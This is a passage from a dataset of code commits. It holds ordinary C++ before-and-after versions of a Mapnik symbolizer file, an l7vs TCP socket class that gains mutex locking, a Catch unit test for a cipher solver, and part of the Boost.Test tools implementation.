image_filename;\n}\n \nvoid symbolizer_with_image::set_transform(transform_type const& matrix)\n{\n matrix_ = matrix;\n}\n\ntransform_type const& symbolizer_with_image::get_transform() const\n{\n return matrix_;\n}\n\nstd::string const& symbolizer_with_image::get_transform_string() const\n{\n std::stringstream ss;\n ss << \"matrix(\" << matrix_[0] << \", \" << matrix_[1] << \", \" << matrix_[2] << \", \" << matrix_[3] << \", \" << matrix_[4] << \", \" << matrix_[5] << \")\";\n return ss.str();\n}\n\n\nvoid symbolizer_with_image::set_opacity(float opacity)\n{\n opacity_ = opacity;\n}\n\nfloat symbolizer_with_image::get_opacity() const\n{\n return opacity_;\n}\n\n} \/\/ end of namespace mapnik\n\n\n\n<commit_msg>formatting<commit_after>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\/\/$Id$\n\n\/\/mapnik\n#include <mapnik\/symbolizer.hpp>\n#include <mapnik\/map.hpp>\n\nnamespace mapnik {\n\nvoid symbolizer_base::add_metawriter(std::string const& name, metawriter_properties const& properties)\n{\n writer_name_ = name;\n properties_ = properties;\n}\n\nvoid symbolizer_base::cache_metawriters(Map const &m)\n{\n if (writer_name_.empty()) {\n properties_complete_.clear();\n writer_ptr_ = metawriter_ptr();\n return; \/\/ No metawriter\n }\n\n writer_ptr_ = m.find_metawriter(writer_name_);\n if (writer_ptr_) {\n properties_complete_ = writer_ptr_->get_default_properties();\n properties_complete_.insert(properties_.begin(), properties_.end());\n } else {\n properties_complete_.clear();\n std::cerr << \"WARNING: Metawriter '\" << writer_name_ << \"' used but not defined.\\n\";\n }\n}\n\nmetawriter_with_properties symbolizer_base::get_metawriter() const\n{\n return metawriter_with_properties(writer_ptr_, properties_complete_);\n}\n\nsymbolizer_with_image::symbolizer_with_image(path_expression_ptr file)\n : image_filename_( file ),\n opacity_(1.0f)\n\n{\n matrix_[0] = 1.0;\n matrix_[1] = 0.0;\n matrix_[2] = 0.0;\n matrix_[3] = 1.0;\n matrix_[4] = 0.0;\n matrix_[5] = 0.0;\n}\n\nsymbolizer_with_image::symbolizer_with_image( symbolizer_with_image const& rhs)\n : image_filename_(rhs.image_filename_),\n opacity_(rhs.opacity_),\n matrix_(rhs.matrix_) {}\n \npath_expression_ptr symbolizer_with_image::get_filename() const\n{\n return image_filename_;\n}\n\nvoid symbolizer_with_image::set_filename(path_expression_ptr image_filename) \n{\n image_filename_ = image_filename;\n}\n \nvoid symbolizer_with_image::set_transform(transform_type const& matrix)\n{\n matrix_ = matrix;\n}\n\ntransform_type const& symbolizer_with_image::get_transform() const\n{\n return matrix_;\n}\n\nstd::string const& symbolizer_with_image::get_transform_string() const\n{\n std::stringstream ss;\n ss << \"matrix(\" << matrix_[0] << \", \" << matrix_[1] << \", \"\n << matrix_[2] << \", \" << matrix_[3] << \", \"\n << matrix_[4] << \", \" << matrix_[5] << \")\";\n return ss.str();\n}\n\n\nvoid symbolizer_with_image::set_opacity(float opacity)\n{\n opacity_ = opacity;\n}\n\nfloat symbolizer_with_image::get_opacity() const\n{\n return opacity_;\n}\n\n} \/\/ end of namespace mapnik\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/!\t@file\ttcp_socket.cpp\n\/\/!\t@brief\ttcp session socket class\n\/\/\n\/\/\tcopyright (c) 2008 TOKYO COMPUTER SERVICE CO.,LTD.\n\/\/\tmail: \n\/\/\n\/\/\tDistributed under the Boost Software License, Version 1.0.(See accompanying\n\/\/\tfile LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt\n\/\/\n\n#include <boost\/thread\/thread.hpp>\n\n#include \"tcp_socket.h\"\n#include \"logger.h\"\n\nnamespace l7vs{\n\n\t\/\/! construcor\n\ttcp_socket::tcp_socket(boost::asio::io_service& io):\n\t\tmy_socket(io),\n\t\topen_flag(false){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::tcp_socket\", __FILE__, __LINE__ );\n\n\t}\n\n\t\/\/! destructor\n\ttcp_socket::~tcp_socket(){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::~tcp_socket\", __FILE__, __LINE__ );\n\t}\n\n\t\/\/! get reference control socket\n\t\/\/! @return\t\t\treference control socket\n\tboost::asio::ip::tcp::socket& tcp_socket::get_socket(){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::get_socket\", __FILE__, __LINE__ );\n\t\treturn my_socket;\n\t}\n\n\t\/\/! connect socket\n\t\/\/! @param[in]\t\tconnect_endpoint is connection endpoint\n\t\/\/! @param[out]\t\tec is reference error code object\n\t\/\/! @return \t\ttrue is connect\n\t\/\/! @return \t\tfalse is connect failure \n\tbool tcp_socket::connect(boost::asio::ip::tcp::endpoint connect_endpoint,\n\t\tboost::system::error_code& ec){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::connect\", __FILE__, __LINE__ );\n\t\t\n\t\tboost::mutex::scoped_lock scope_lock(socket_mutex);\n\t\t\n\t\tif(!open_flag){\n\t\t\tmy_socket.connect(connect_endpoint,ec);\n\t\t\tif(!ec){\n\t\t\t\topen_flag = true;\n\t\t\t\t\/\/----Debug log----------------------------------------------------------------------\n\t\t\t\tif (LOG_LV_DEBUG == Logger::getLogLevel(LOG_CAT_L7VSD_SESSION)){\n\t\t\t\t\tstd::stringstream buf;\n\t\t\t\t\tbuf << \"Thread ID[\";\n\t\t\t\t\tbuf << boost::this_thread::get_id();\n\t\t\t\t\tbuf << \"] tcp_socket::connect [\";\n\t\t\t\t\tbuf << connect_endpoint;\n\t\t\t\t\tbuf << \"]\";\n\t\t\t\t\tLogger::putLogDebug( LOG_CAT_L7VSD_SESSION, 9999, buf.str(), __FILE__, __LINE__ );\n\t\t\t\t}\n\t\t\t\t\/\/----Debug log----------------------------------------------------------------------\n\t\t\t}else{\n\t\t\t\topen_flag = false;\n\t\t\t}\n\t\t}\n\t\treturn open_flag;\n\t}\n\t\n\t\/\/! accept socket\n\tvoid tcp_socket::accept(){\n\t\tboost::mutex::scoped_lock scope_lock(socket_mutex);\n\t\topen_flag = true;\n\t\t\/\/----Debug log----------------------------------------------------------------------\n\t\tif (LOG_LV_DEBUG == Logger::getLogLevel(LOG_CAT_L7VSD_SESSION)){\n\t\t\tboost::system::error_code ec;\n\t\t\tstd::stringstream buf;\n\t\t\tbuf << \"Thread ID[\";\n\t\t\tbuf << boost::this_thread::get_id();\n\t\t\tbuf << \"] tcp_socket::accept [\";\n\t\t\tbuf << my_socket.remote_endpoint(ec);\n\t\t\tbuf << \"]\";\n\t\t\tLogger::putLogDebug( LOG_CAT_L7VSD_SESSION, 9999, buf.str(), __FILE__, __LINE__ );\n\t\t}\n\t\t\/\/----Debug log----------------------------------------------------------------------\n\t}\n\n\t\/\/! close socket\n\t\/\/! @param[out]\t\tec is reference error code object\n\t\/\/! @return \t\ttrue is socket close\n\t\/\/! @return \t\tfalse is not open socket\n\tbool tcp_socket::close(boost::system::error_code& ec){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::close\", __FILE__, __LINE__ );\n\t\t\n\t\tboost::mutex::scoped_lock scope_lock(socket_mutex);\n\t\t\/\/----Debug log----------------------------------------------------------------------\n\t\tif (LOG_LV_DEBUG == Logger::getLogLevel(LOG_CAT_L7VSD_SESSION)){\n\t\t\tif(open_flag){\n\t\t\t\tboost::system::error_code ec;\n\t\t\t\tstd::stringstream buf;\n\t\t\t\tbuf << \"Thread ID[\";\n\t\t\t\tbuf << boost::this_thread::get_id();\n\t\t\t\tbuf << \"] tcp_socket::close [\";\n\t\t\t\tbuf << my_socket.remote_endpoint(ec);\n\t\t\t\tbuf << \"]\";\n\t\t\t\tLogger::putLogDebug( LOG_CAT_L7VSD_SESSION, 9999, buf.str(), __FILE__, __LINE__ );\n\t\t\t}\n\t\t}\n\t\t\/\/----Debug log----------------------------------------------------------------------\n\t\tbool bres = false;\n\t\tif(open_flag){\n\t\t\topen_flag = false;\n\t\t\tbres = true;\n\t\t}\n\t\tmy_socket.close(ec);\n\t\t\n\t\treturn bres;\n\t}\n\n\t\/\/! set non blocking mode of the socket \n\t\/\/! @return\t\t\tec is reference error code object\n\tbool tcp_socket::set_non_blocking_mode(boost::system::error_code& ec){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::set_non_blocking_mode\", __FILE__, __LINE__ );\n\t\t\n\t\tboost::asio::socket_base::non_blocking_io cmd(true);\n\t\tmy_socket.io_control(cmd,ec);\n\t\t\n\t\treturn true;\n\t}\n\n\t\/\/! write socket\n\t\/\/! @param[in]\t\tbuffers is wite data buffer\n\t\/\/! @param[out]\t\tec is reference error code object\n\t\/\/! @return\t\t\twrite data size\t\n\tstd::size_t tcp_socket::write_some(boost::asio::mutable_buffers_1 buffers,\n\t\tboost::system::error_code& ec){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::write_some\", __FILE__, __LINE__ );\n\n\t\tstd::size_t res_size = 0;\n\t\tres_size = my_socket.write_some(buffers,ec);\n\t\tif(ec){\n\t\t\tif (!open_flag) {\n\t\t\t\tres_size = 0;\n\t\t\t\tec.clear();\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn res_size;\n\t}\n\n\t\/\/! read socket\n\t\/\/! @param[out]\t\tbuffers is read data buffer\n\t\/\/! @param[out]\t\tec is reference error code object\n\t\/\/! @return\t\t\tread data size\n\tstd::size_t tcp_socket::read_some(boost::asio::mutable_buffers_1 buffers,\n\t\tboost::system::error_code& ec){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::read_some\", __FILE__, __LINE__ );\n\t\t\t\n\t\tstd::size_t res_size = 0;\n\t\tres_size = my_socket.read_some(buffers,ec);\n\t\tif(ec){\n\t\t\tif (!open_flag) {\n\t\t\t\tres_size = 0;\n\t\t\t\tec.clear();\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn res_size;\n\t}\n\n\t\/\/! is open\n\t\/\/! @return \t\ttrue is open\n\t\/\/! @return \t\tfalse is close\n\tbool tcp_socket::is_open(){\n\t\treturn open_flag;\n\t}\n\n}\/\/ namespace l7vs\n \n<commit_msg>#325<commit_after>\/\/\n\/\/!\t@file\ttcp_socket.cpp\n\/\/!\t@brief\ttcp session socket class\n\/\/\n\/\/\tcopyright (c) 2008 TOKYO COMPUTER SERVICE CO.,LTD.\n\/\/\tmail: \n\/\/\n\/\/\tDistributed under the Boost Software License, Version 1.0.(See accompanying\n\/\/\tfile LICENSE_1_0.txt or copy at http:\/\/www.boost.org\/LICENSE_1_0.txt\n\/\/\n\n#include <boost\/thread\/thread.hpp>\n\n#include \"tcp_socket.h\"\n#include \"logger.h\"\n\nnamespace l7vs{\n\n\t\/\/! construcor\n\ttcp_socket::tcp_socket(boost::asio::io_service& io):\n\t\tmy_socket(io),\n\t\topen_flag(false){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::tcp_socket\", __FILE__, __LINE__ );\n\n\t}\n\n\t\/\/! destructor\n\ttcp_socket::~tcp_socket(){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::~tcp_socket\", __FILE__, __LINE__ );\n\t}\n\n\t\/\/! get reference control socket\n\t\/\/! @return\t\t\treference control socket\n\tboost::asio::ip::tcp::socket& tcp_socket::get_socket(){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::get_socket\", __FILE__, __LINE__ );\n\t\treturn my_socket;\n\t}\n\n\t\/\/! connect socket\n\t\/\/! @param[in]\t\tconnect_endpoint is connection endpoint\n\t\/\/! @param[out]\t\tec is reference error code object\n\t\/\/! @return \t\ttrue is connect\n\t\/\/! @return \t\tfalse is connect failure \n\tbool tcp_socket::connect(boost::asio::ip::tcp::endpoint connect_endpoint,\n\t\tboost::system::error_code& ec){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::connect\", __FILE__, __LINE__ );\n\t\t\n\t\tboost::mutex::scoped_lock scope_lock(socket_mutex);\n\t\t\n\t\tif(!open_flag){\n\t\t\tmy_socket.connect(connect_endpoint,ec);\n\t\t\tif(!ec){\n\t\t\t\topen_flag = true;\n\t\t\t\t\/\/----Debug log----------------------------------------------------------------------\n\t\t\t\tif (LOG_LV_DEBUG == Logger::getLogLevel(LOG_CAT_L7VSD_SESSION)){\n\t\t\t\t\tstd::stringstream buf;\n\t\t\t\t\tbuf << \"Thread ID[\";\n\t\t\t\t\tbuf << boost::this_thread::get_id();\n\t\t\t\t\tbuf << \"] tcp_socket::connect [\";\n\t\t\t\t\tbuf << connect_endpoint;\n\t\t\t\t\tbuf << \"]\";\n\t\t\t\t\tLogger::putLogDebug( LOG_CAT_L7VSD_SESSION, 9999, buf.str(), __FILE__, __LINE__ );\n\t\t\t\t}\n\t\t\t\t\/\/----Debug log----------------------------------------------------------------------\n\t\t\t}else{\n\t\t\t\topen_flag = false;\n\t\t\t}\n\t\t}\n\t\treturn open_flag;\n\t}\n\t\n\t\/\/! accept socket\n\tvoid tcp_socket::accept(){\n\t\tboost::mutex::scoped_lock scope_lock(socket_mutex);\n\t\topen_flag = true;\n\t\t\/\/----Debug log----------------------------------------------------------------------\n\t\tif (LOG_LV_DEBUG == Logger::getLogLevel(LOG_CAT_L7VSD_SESSION)){\n\t\t\tboost::system::error_code ec;\n\t\t\tstd::stringstream buf;\n\t\t\tbuf << \"Thread ID[\";\n\t\t\tbuf << boost::this_thread::get_id();\n\t\t\tbuf << \"] tcp_socket::accept [\";\n\t\t\tbuf << my_socket.remote_endpoint(ec);\n\t\t\tbuf << \"]\";\n\t\t\tLogger::putLogDebug( LOG_CAT_L7VSD_SESSION, 9999, buf.str(), __FILE__, __LINE__ );\n\t\t}\n\t\t\/\/----Debug log----------------------------------------------------------------------\n\t}\n\n\t\/\/! close socket\n\t\/\/! @param[out]\t\tec is reference error code object\n\t\/\/! @return \t\ttrue is socket close\n\t\/\/! @return \t\tfalse is not open socket\n\tbool tcp_socket::close(boost::system::error_code& ec){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::close\", __FILE__, __LINE__ );\n\t\t\n\t\tboost::mutex::scoped_lock scope_lock(socket_mutex);\n\t\t\/\/----Debug log----------------------------------------------------------------------\n\t\tif (LOG_LV_DEBUG == Logger::getLogLevel(LOG_CAT_L7VSD_SESSION)){\n\t\t\tif(open_flag){\n\t\t\t\tboost::system::error_code ec;\n\t\t\t\tstd::stringstream buf;\n\t\t\t\tbuf << \"Thread ID[\";\n\t\t\t\tbuf << boost::this_thread::get_id();\n\t\t\t\tbuf << \"] tcp_socket::close [\";\n\t\t\t\tbuf << my_socket.remote_endpoint(ec);\n\t\t\t\tbuf << \"]\";\n\t\t\t\tLogger::putLogDebug( LOG_CAT_L7VSD_SESSION, 9999, buf.str(), __FILE__, __LINE__ );\n\t\t\t}\n\t\t}\n\t\t\/\/----Debug log----------------------------------------------------------------------\n\t\tbool bres = false;\n\t\tif(open_flag){\n\t\t\topen_flag = false;\n\t\t\tbres = true;\n\t\t}\n\t\tmy_socket.close(ec);\n\t\t\n\t\treturn bres;\n\t}\n\n\t\/\/! set non blocking mode of the socket \n\t\/\/! @return\t\t\tec is reference error code object\n\tbool tcp_socket::set_non_blocking_mode(boost::system::error_code& ec){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::set_non_blocking_mode\", __FILE__, __LINE__ );\n\t\t\n\t\tboost::asio::socket_base::non_blocking_io cmd(true);\n\t\tmy_socket.io_control(cmd,ec);\n\t\t\n\t\treturn true;\n\t}\n\n\t\/\/! write socket\n\t\/\/! @param[in]\t\tbuffers is wite data buffer\n\t\/\/! @param[out]\t\tec is reference error code object\n\t\/\/! @return\t\t\twrite data size\t\n\tstd::size_t tcp_socket::write_some(boost::asio::mutable_buffers_1 buffers,\n\t\tboost::system::error_code& ec){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::write_some\", __FILE__, __LINE__ );\n\t\t\n\t\tboost::mutex::scoped_lock scope_lock(socket_mutex);\n\t\tstd::size_t res_size = 0;\n\t\tres_size = my_socket.write_some(buffers,ec);\n\t\tif(ec){\n\t\t\tif (!open_flag) {\n\t\t\t\tres_size = 0;\n\t\t\t\tec.clear();\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn res_size;\n\t}\n\n\t\/\/! read socket\n\t\/\/! @param[out]\t\tbuffers is read data buffer\n\t\/\/! @param[out]\t\tec is reference error code object\n\t\/\/! @return\t\t\tread data size\n\tstd::size_t tcp_socket::read_some(boost::asio::mutable_buffers_1 buffers,\n\t\tboost::system::error_code& ec){\n\t\tLogger\tlogger( LOG_CAT_L7VSD_SESSION, 9999, \"tcp_socket::read_some\", __FILE__, __LINE__ );\n\t\t\n\t\tboost::mutex::scoped_lock scope_lock(socket_mutex);\n\t\tstd::size_t res_size = 0;\n\t\tres_size = my_socket.read_some(buffers,ec);\n\t\tif(ec){\n\t\t\tif (!open_flag) {\n\t\t\t\tres_size = 0;\n\t\t\t\tec.clear();\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn res_size;\n\t}\n\n\t\/\/! is open\n\t\/\/! @return \t\ttrue is open\n\t\/\/! @return \t\tfalse is close\n\tbool tcp_socket::is_open(){\n\t\treturn open_flag;\n\t}\n\n}\/\/ namespace l7vs\n \n<|endoftext|>"} {"text":"<commit_before>#define CATCH_CONFIG_MAIN\n#include \"catch.hpp\"\n\nTEST_CASE(\"Catch is working\", \"[catch]\") {\n\tREQUIRE ( (2 * 2) == 4);\n\tREQUIRE ( (10 * 10) > 50);\n}<commit_msg>Some tests<commit_after>#define CATCH_CONFIG_MAIN\n#include \"catch.hpp\"\n#include \"..\/language_data.h\"\n#include \"..\/message.h\"\n#include \"..\/key.h\"\n#include \"..\/solver.h\"\n\nTEST_CASE(\"Catch is working\") {\n\tREQUIRE ( (2 * 2) == 4);\n\tREQUIRE ( (10 * 10) > 50);\n}\n\nTEST_CASE(\"Language data gets initialized\") {\n\tLanguageData::Initialize();\n\t\n\tREQUIRE(LanguageData::GetTri(0) == 10);\n\tREQUIRE(LanguageData::GetTri(17574) == 27);\n}\n\n\nTEST_CASE(\"Z408 gets solved\") {\n\tstd::ifstream t(\"z408.txt\");\n\tstd::stringstream buffer;\n\tbuffer << t.rdbuf();\n\tstd::string str = buffer.str();\n\tstr.erase(std::remove(str.begin(), str.end(), '\\n'), str.end());\t\n\tLanguageData::Initialize();\n\t\n\tMessage msg(str);\n\tKey key;\n\tkey.Init(msg);\n\t\n\tSolver solver(msg, key);\n\tsolver.SetScoreLimit(38000);\n\tsolver.SetTimeLimit(12);\n\tint result = solver.Start();\n\t\n\tREQUIRE(result > 35000);\n}<|endoftext|>"} {"text":"<commit_before>\/\/ (C) Copyright Ullrich Koethe 2001, Gennadiy Rozental 2001-2002.\n\/\/ Permission to copy, use, modify, sell and distribute this software\n\/\/ is granted provided this copyright notice appears in all copies.\n\/\/ This software is provided \"as is\" without express or implied warranty,\n\/\/ and with no claim as to its suitability for any purpose.\n\n\/\/ See http:\/\/www.boost.org for updates, documentation, and revision history.\n\/\/\n\/\/ File : $RCSfile$\n\/\/\n\/\/ Version : $Id$\n\/\/\n\/\/ Description : supplies offline implemtation for the Test Tools\n\/\/ ***************************************************************************\n\n\/\/ Boost.Test\n#include <boost\/test\/test_tools.hpp>\n#include <boost\/test\/unit_test_result.hpp>\n\n\/\/ BOOST\n#include <boost\/config.hpp>\n\n\/\/ STL\n#include <fstream>\n#include <iostream>\n#include <algorithm>\n#include <cstring> \n#include <string>\n\n# ifdef BOOST_NO_STDC_NAMESPACE\nnamespace std { using ::strcmp; using ::strncmp; using ::strlen; }\n# endif\n\nnamespace boost {\n\nnamespace test_toolbox {\n\nnamespace detail {\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** TOOL BOX Implementation ************** \/\/\n\/\/ ************************************************************************** \/\/\n\nvoid\ncheckpoint_impl( wrap_stringstream& message, c_string_literal file_name, int line_num )\n{\n BOOST_UT_LOG_BEGIN( file_name, line_num, unit_test_framework::log_test_suites )\n unit_test_framework::checkpoint( message.str() )\n BOOST_UT_LOG_END\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\nmessage_impl( wrap_stringstream& message, c_string_literal file_name, int line_num )\n{\n BOOST_UT_LOG_BEGIN( file_name, line_num, unit_test_framework::log_messages )\n message.str()\n BOOST_UT_LOG_END\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\nwarn_and_continue_impl( bool predicate, wrap_stringstream& message,\n c_string_literal file_name, int line_num, bool add_fail_pass )\n{\n if( !predicate ) {\n BOOST_UT_LOG_BEGIN( file_name, line_num, unit_test_framework::log_warnings )\n (add_fail_pass ? \"condition \" : \"\") << message.str() << (add_fail_pass ? \" is not satisfied\" : \"\" )\n BOOST_UT_LOG_END\n }\n else {\n BOOST_UT_LOG_BEGIN( file_name, line_num, unit_test_framework::log_successful_tests )\n \"condition \" << message.str() << \" is satisfied\"\n BOOST_UT_LOG_END\n }\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\nwarn_and_continue_impl( extended_predicate_value const& v, wrap_stringstream& message, c_string_literal file_name, int line_num,\n bool add_fail_pass )\n{\n warn_and_continue_impl( !!v,\n message << (add_fail_pass && !v ? \" is not satisfied. \" : \"\" ) << *(v.p_message),\n file_name, line_num, false );\n}\n\n\/\/____________________________________________________________________________\/\/\n\nbool\ntest_and_continue_impl( bool predicate, wrap_stringstream& message,\n c_string_literal file_name, int line_num,\n bool add_fail_pass, unit_test_framework::log_level loglevel )\n{\n if( !predicate ) {\n unit_test_framework::unit_test_result::instance().inc_failed_assertions();\n\n BOOST_UT_LOG_BEGIN( file_name, line_num, loglevel )\n (add_fail_pass ? \"test \" : \"\") << message.str() << (add_fail_pass ? \" failed\" : \"\")\n BOOST_UT_LOG_END\n\n return true;\n }\n else {\n unit_test_framework::unit_test_result::instance().inc_passed_assertions();\n\n BOOST_UT_LOG_BEGIN( file_name, line_num, unit_test_framework::log_successful_tests )\n (add_fail_pass ? \"test \" : \"\") << message.str() << (add_fail_pass ? \" passed\" : \"\")\n BOOST_UT_LOG_END\n\n return false;\n }\n}\n\n\/\/____________________________________________________________________________\/\/\n\nbool\ntest_and_continue_impl( extended_predicate_value const& v, wrap_stringstream& message,\n c_string_literal file_name, int line_num,\n bool add_fail_pass, unit_test_framework::log_level loglevel )\n{\n return test_and_continue_impl( !!v,\n message << (add_fail_pass ? (!v ? \" failed. \" : \" passed. \") : \"\") << *(v.p_message),\n file_name, line_num, false, loglevel );\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\ntest_and_throw_impl( bool predicate, wrap_stringstream& message,\n c_string_literal file_name, int line_num,\n bool add_fail_pass, unit_test_framework::log_level loglevel )\n{\n if( test_and_continue_impl( predicate, message, file_name, line_num, add_fail_pass, loglevel ) ) {\n throw test_tool_failed(); \/\/ error already reported by test_and_continue_impl\n }\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\ntest_and_throw_impl( extended_predicate_value const& v, wrap_stringstream& message,\n c_string_literal file_name, int line_num,\n bool add_fail_pass, unit_test_framework::log_level loglevel )\n{\n if( test_and_continue_impl( v, message, file_name, line_num, add_fail_pass, loglevel ) ) {\n throw test_tool_failed(); \/\/ error already reported by test_and_continue_impl\n }\n}\n\n\/\/____________________________________________________________________________\/\/\n\nbool\nequal_and_continue_impl( c_string_literal left, c_string_literal right, wrap_stringstream& message,\n c_string_literal file_name, int line_num,\n unit_test_framework::log_level loglevel )\n{\n bool predicate = (left && right) ? std::strcmp( left, right ) == 0 : (left == right);\n\n left = left ? left : \"null string\";\n right = right ? right : \"null string\";\n\n if( !predicate ) {\n return test_and_continue_impl( false,\n wrap_stringstream().ref() << \"test \" << message.str() << \" failed [\" << left << \" != \" << right << \"]\",\n file_name, line_num, false, loglevel );\n }\n\n return test_and_continue_impl( true, message, file_name, line_num, true, loglevel );\n}\n\n\/\/____________________________________________________________________________\/\/\n\nbool\nis_defined_impl( c_string_literal symbol_name, c_string_literal symbol_value )\n{\n\/\/ return std::strncmp( symbol_name, symbol_value, std::strlen( symbol_name ) ) != 0;\n return std::strcmp( symbol_name, symbol_value + 2 ) != 0;\n}\n\n\/\/____________________________________________________________________________\/\/\n\n} \/\/ namespace detail\n\n\/\/ ************************************************************************** \/\/\n\/\/ ************** output_test_stream ************** \/\/\n\/\/ ************************************************************************** \/\/\n\nstruct output_test_stream::Impl\n{\n std::fstream m_pattern_to_match_or_save;\n bool m_match_or_save;\n std::string m_synced_string;\n\n void check_and_fill( detail::extended_predicate_value& res )\n {\n if( !res.p_predicate_value.get() )\n *(res.p_message) << \"Output content: \\\"\" << m_synced_string << '\\\"';\n }\n};\n\n\/\/____________________________________________________________________________\/\/\n\noutput_test_stream::output_test_stream( std::string const& pattern_file_name, bool match_or_save )\n: m_pimpl( new Impl )\n{\n if( !pattern_file_name.empty() )\n m_pimpl->m_pattern_to_match_or_save.open( pattern_file_name.c_str(), match_or_save ? std::ios::in : std::ios::out );\n\n m_pimpl->m_match_or_save = match_or_save;\n}\n\n\/\/____________________________________________________________________________\/\/\n\noutput_test_stream::output_test_stream( c_string_literal pattern_file_name, bool match_or_save )\n: m_pimpl( new Impl )\n{\n if( pattern_file_name && pattern_file_name[0] != '\\0' )\n m_pimpl->m_pattern_to_match_or_save.open( pattern_file_name, match_or_save ? std::ios::in : std::ios::out );\n\n m_pimpl->m_match_or_save = match_or_save;\n}\n\n\/\/____________________________________________________________________________\/\/\n\noutput_test_stream::~output_test_stream()\n{\n}\n\n\/\/____________________________________________________________________________\/\/\n\ndetail::extended_predicate_value\noutput_test_stream::is_empty( bool flush_stream )\n{\n sync();\n\n result_type res( m_pimpl->m_synced_string.empty() );\n\n m_pimpl->check_and_fill( res );\n\n if( flush_stream )\n flush();\n\n return res;\n}\n\n\/\/____________________________________________________________________________\/\/\n\ndetail::extended_predicate_value\noutput_test_stream::check_length( std::size_t length_, bool flush_stream )\n{\n sync();\n\n result_type res( m_pimpl->m_synced_string.length() == length_ );\n\n m_pimpl->check_and_fill( res );\n\n if( flush_stream )\n flush();\n\n return res;\n}\n\n\/\/____________________________________________________________________________\/\/\n\ndetail::extended_predicate_value\noutput_test_stream::is_equal( c_string_literal arg, bool flush_stream )\n{\n sync();\n\n result_type res( m_pimpl->m_synced_string == arg );\n\n m_pimpl->check_and_fill( res );\n\n if( flush_stream )\n flush();\n\n return res;\n}\n\n\/\/____________________________________________________________________________\/\/\n\ndetail::extended_predicate_value\noutput_test_stream::is_equal( std::string const& arg, bool flush_stream )\n{\n sync();\n\n result_type res( m_pimpl->m_synced_string == arg );\n\n m_pimpl->check_and_fill( res );\n\n if( flush_stream )\n flush();\n\n return res;\n}\n\n\/\/____________________________________________________________________________\/\/\n\ndetail::extended_predicate_value\noutput_test_stream::is_equal( c_string_literal arg, std::size_t n, bool flush_stream )\n{\n sync();\n\n result_type res( m_pimpl->m_synced_string == std::string( arg, n ) );\n\n m_pimpl->check_and_fill( res );\n\n if( flush_stream )\n flush();\n\n return res;\n}\n\n\/\/____________________________________________________________________________\/\/\n\nbool\noutput_test_stream::match_pattern( bool flush_stream )\n{\n sync();\n\n bool result = true;\n\n if( !m_pimpl->m_pattern_to_match_or_save.is_open() )\n result = false;\n else {\n if( m_pimpl->m_match_or_save ) {\n c_string_literal ptr = m_pimpl->m_synced_string.c_str();\n\n for( std::size_t i = 0; i != m_pimpl->m_synced_string.length(); i++, ptr++ ) {\n char c;\n m_pimpl->m_pattern_to_match_or_save.get( c );\n\n if( m_pimpl->m_pattern_to_match_or_save.fail() ||\n m_pimpl->m_pattern_to_match_or_save.eof() )\n {\n result = false;\n break;\n }\n\n if( *ptr != c ) {\n result = false;\n }\n }\n }\n else {\n m_pimpl->m_pattern_to_match_or_save.write( m_pimpl->m_synced_string.c_str(), \n static_cast<std::streamsize>( m_pimpl->m_synced_string.length() ) );\n m_pimpl->m_pattern_to_match_or_save.flush();\n }\n }\n\n if( flush_stream )\n flush();\n\n return result;\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\noutput_test_stream::flush()\n{\n m_pimpl->m_synced_string.erase();\n\n#ifndef BOOST_NO_STRINGSTREAM\n str( std::string() );\n#else\n seekp( 0, std::ios::beg );\n#endif\n}\n\n\/\/____________________________________________________________________________\/\/\n\nstd::size_t\noutput_test_stream::length()\n{\n sync();\n\n return m_pimpl->m_synced_string.length();\n}\n\n\/\/____________________________________________________________________________\/\/\n\nvoid\noutput_test_stream::sync()\n{\n#ifdef BOOST_NO_STRINGSTREAM\n m_pimpl->m_synced_string.assign( str(), pcount() );\n freeze( false );\n#else\n m_pimpl->m_synced_string = str();\n#endif\n}\n\n\/\/____________________________________________________________________________\/\/\n\n} \/\/ 